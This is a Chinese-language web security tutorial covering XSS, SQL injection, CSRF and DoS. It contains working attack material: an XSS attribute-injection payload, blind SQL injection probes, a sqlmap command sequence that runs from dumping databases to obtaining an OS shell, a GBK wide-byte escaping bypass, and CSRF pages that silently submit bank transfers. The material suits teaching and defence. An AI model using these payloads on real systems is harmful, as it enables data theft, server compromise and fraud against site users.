相对于客户端,运行着 web 程序的服务器由于其拥有丰富的资源、对外公开的特性和复杂的业务逻辑对于黑客来说往往拥有更大的吸引力和攻破的可能性。
本文旨在总结针对 web 程序的攻击方式,这些方式造成的后果不一,小到会话劫持,大到直接拿到服务器的管理员权限,这完全取决于 web 程序的安全设置,但从根本上来说,这些安全问题都是可以彻底避免的。
跨站脚本攻击(XSS)
原理:
服务器没有对用户的输入做到充足的过滤,导致页面被嵌入恶意脚本
分类:
- 反射型:只能通过用户点击恶意构造的链接才能触发攻击
- 存储型:恶意代码保存在服务器,只要有人访问该页面就会触发攻击
效果:
- 通过获取用户的 cookie,实现会话劫持
- 通过在页面伪造表单,获取用户的账号密码
- XSS 蠕虫
实现方式:
在可提交的输入框中构造输入,有时需要闭合引号,中括号等,有时需要对输入进行编码以绕过 WAF。
一般情况下,手动查找 XSS 注入点通常需要结合查看网页的源代码,找到自己的输入出现在了页面的哪个地方,然后根据该点附近的上下文构造恶意代码,比如,一个用 php 编写的页面为:
<? php $input = $_GET["param"]; echo "<div>".$input."</div>"; ?>
在正常情况下,用户的请求会在页面中显示出来。但是如果提供给 param 的参数是一段 HTML 代码,那么浏览器就会将它当做代码解析执行
实例:
在某个网页中,存在如下输入框:
经测试,发现 User ID 的输入框中存在反射型的 XSS 漏洞,在该输入框中构造输入:
test" onmouseover=prompt(100) bad='
,点击 Go 提交该输入后,在返回的页面中已被嵌入了恶意代码,当鼠标移动到 User ID 上后,会弹出一个提示框
查看网页的源代码,可以发现 User ID 这个输入框确实被我们的输入控制了
值得注意的地方
- 如果在前端过滤用户输入的话,可以使用 Burp Suite 等工具绕过过滤
- 设置 HttpOnly 可以禁止客户端的脚本访问 cookie,但是依然可以通过抓包的方式获取到 cookie
SQL 注入
原理:
服务器没有对用户的输入做到充分的过滤,导致可执行任意 SQL 语句
效果:
- 如果当前用户具有对数据库的读权限,导致数据库信息泄露
- 如果当前用户具有对数据库的读写权限,可对数据库进行任意修改
- 如果当前用户具有对数据库的管理员权限,可对数据库的用户及数据库进行任意操作
- 如果当前用户具有对文件系统的写权限,可直接获得 webshell
实现方式:
在可提交的输入框中构造 SQL 语句,有时需要闭合引号等,有时需要对输入进行编码以绕过 WAF。
当尝试某个注入点时,一般情况下,web 服务器会关闭错误回显,此时的注入方式称为<b>盲注(Blind Injection)</b>,盲注又分为<b>基于 boolean 的盲注</b>,<b>基于时间的盲注</b>和<b>基于报错的盲注</b>等,比如,一个应用的 URL 如下:
www.examlple.com/passages.php?id=3
后台执行的 SQL 语句为:
SELECT * FROM passages p WHERE p.id=3
如果攻击者构造如下条件语句:
www.examlple.com/passages.php?id=3 and 1=2
那么实际执行的 SQL 语句应为:
SELECT * FROM passages p WHERE p.id=3 and 1=2
由于 1=2 永远为 false,对于 web 应用来说,它不会将出错信息返回给用户,所以此时返回的页面应为空白页面或出错页面。
此时,再构造请求如下:
www.examlple.com/passages.php?id=3 and 1=1
如果页面返回正常,说明参数 id 存在 SQL 注入漏洞
实例:
目前,已经有成熟的工具专门检测某个 URL 是否存在 SQL 注入漏洞,并对其加以利用。
sqlmap 是一款出色的 SQL 注入工具,要测试某个 URL 是否存在注入点并加以利用,一般步骤如下:
- 使用 -u 参数检查是否存在注入点,如:
sqlmap -u "www.example.com/passages.php?id=3"
- 使用 --dbs 来获取所有数据库,如:
sqlmap -u "www.example.com/passages.php?id=3" --dbs
- 使用 --current-db 查看当前应用程序所用数据库,如:
sqlmap -u "www.example.com/passages.php?id=3" --current-db
- 使用 -D 配合 --tables 查看某个数据库中的所有表,如:
sqlmap -u "www.example.com/passages.php?id=3" -D online2016 --tables
- 使用 -D 和 -T 配合 --columns 查看某个表中的所有字段,如:
sqlmap -u "www.example.com/passages.php?id=3" -D online2016 -T users --columns
- 使用 -- dump 可获取整个数据库信息,如:
sqlmap -u "www.example.com/passages.php?id=3" --dump -D online2016
- 使用 --sql-query 可以执行任意 SQL 语句,如:
sqlmap -u "www.example.com/passages.php?id=3" --sql-query="SELECT * FROM users"
- 使用 --os-shell 获取服务器的 shell,如:
sqlmap -u "www.example.com/passages.php?id=3" --os-shell
值得注意的地方:
- 有时 web 程序会用转义字符的方式转义特殊字符,然而,如果数据库使用的编码方式与 web 程序不同时,特别是数据库使用的是双字节字符编码,而负责过滤的 web 程序使用的是单字节字符编码,可能会导致过滤失败。例如,数据库使用了 GBK 编码,而 web 应用使用的是 ASCII 编码,当用户输入 0xbf27 时,由于 27 是单引号 ',web 程序会将其转义,变成 0xbf5c27,但是在数据库中,由于使用的是 GBK 编码,会将 bf5c 认为是一个字符,从而再次暴露了单引号 '
- HTTP 参数污染有时可以绕过 WAF 的过滤
跨站请求伪造(CSRF)
原理:
由于
简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的
——维基百科
用户访问完某个网站之后,浏览器会在一定时间内保存这个网站产生的 cookie,如果在这个 cookie 的有效期内,攻击者可以利用浏览器再次访问网站时会自动带上 cookie 的特性伪造请求,实现了 CSRF
效果:
可以执行任意在用户的权限内的操作
实现方式:
在可跨域的标签如img
、iframe
中构造恶意 url,或构造使用 post 方法的表单并诱导用户访问该页面,即可实现攻击
实例:
摘自 浅谈 CSRF 攻击方式
示例 1:
银行网站 A,它以 GET 请求来完成银行转账的操作,如:
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
危险网站 B,它里面有一段 HTML 的代码如下:
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
首先,你登录了银行网站 A,然后访问危险网站 B,噢,这时你会发现你的银行账户少了 1000 块......
为什么会这样呢?原因是银行网站 A 违反了 HTTP 规范,使用 GET 请求更新资源。在访问危险网站 B 的之前,你已经登录了银行网站 A,而 B 中的<img>
以 GET 的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站 A 的 Cookie 发出 Get 请求,去获取资源
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作......
示例 2:
为了杜绝上面的问题,银行决定改用 POST 请求完成转账操作。
银行网站 A 的 WEB 表单如下:
<form action="Transfer.php" method="POST">
<p>ToBankId: <input type="text" name="toBankId" /></p>
<p>Money: <input type="text" name="money" /></p>
<p><input type="submit" value="Transfer" /></p> </form>
后台处理页面Transfer.php如下:
<?php session_start(); if (isset($_REQUEST['toBankId'] && isset($_REQUEST['money']) { buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']); } ?>
危险网站 B,仍然只是包含那句HTML代码:
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
和示例 1 中的操作一样,你首先登录了银行网站 A,然后访问危险网站 B,结果.....和示例 1 一样,你再次没了 1000 块~T_T,这次事故的原因是:银行后台使用了 _REQUEST 既可以获取GET请求的数据,也可以获取 POST 请求的数据,这就造成了在后台处理程序无法区分这到底是 GET 请求的数据还是 POST 请求的数据。在 PHP 中,可以使用 _POST 分别获取 GET 请求和 POST 请求的数据。在 JAVA中,用于获取请求数据 request 一样存在不能区分 GET请求数据和 POST 数据的问题。
示例 3:
经过前面 2 个惨痛的教训,银行决定把获取请求数据的方法也改了,改用 _POST['toBankId'] && isset(_POST['toBankId'], $_POST['money']);
}
?>`
然而,危险网站 B 与时俱进,它改了一下代码:
<html>
<head>
<script type="text/javascript">
function steal() {
iframe = document.frames["steal"];
iframe.document.Submit("transfer");
}
</script>
</head>
<body onload="steal()">
<iframe name="steal" display="none">
<form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
<input type="hidden" name="toBankId" value="11">
<input type="hidden" name="money" value="1000">
</form>
</iframe>
</body>
</html>
如果用户仍是继续上面的操作,很不幸,结果将会是再次不见1000块......因为这里危险网站 B 暗地里发送了 POST 请求到银行!
值得注意的地方
- P3P Header(The Platform for Privacy Preferences Header)
在浏览网站的过程中,如果一个网站设置了 Session Cookie,那么在浏览器进程的生命周期内,Session Cookie 一直都是有效的,它被保存在浏览器的内存空间中,而 Third-party Cookie 则保存在本地。
如果浏览器从一个域的页面中加载另一个域的资源,某些浏览器的安全设置会阻止 Third-party Cookie 的发送。
然而,这些浏览器的对于 Third-party Cookie 的行为在 P3P Header 引入之后变得复杂起来
P3P Header 是 W3C 指定的一项关于隐私的标准。如果网站返回给浏览器的 HTTP 头中包含有 P3P 头,那么在一定程度上将允许浏览器发送第三方 cookie。所以不能依赖于浏览器对 Third-party Cookie 的拦截策略防御 CSRF。 - XSS 让 CSRF 更强大!
一些网站防御 CSRF 的方式是通过在返回的 HTML 文档中加入随机的 token,或是在 cookie 中加入随机值。有了 XSS 的帮助,攻击者有了获取 HTML 文档和 cookie 的能力,一定程度上加大了 CSRF 的危害
拒绝服务(DoS)
如果说上面的所有攻击方式都是可以通过合理的安全设置来完全避免的,那么可以说 DoS 是无法通过安全的设置完全避免的。
原理:
由于服务器资源有限,当请求的服务资源达到服务器承载上限时,服务器就无法再为别的请求提供服务了
效果:
拒绝服务
实现方式:
参见 DDoS攻击方式
值得注意的地方
在 web 程序中,特别是在使用 PHP 等安全性不是特别完善的语言编写的 web 程序中,DoS 可以通过某个函数或者某项业务的实现逻辑实现,如 CVE-2016-7417
应用层 DDoS 还可以通过篡改某个流量很大的网站,将巨大的流量分流到目标网站,造成目标网站拒绝服务
参考资料:
CVE details
sqlmap 用户手册
详解 SQL 盲注
浅谈 CSRF 攻击方式
HTTP parameter pollution
《白帽子讲 Web 安全》
《Web 安全深度剖析》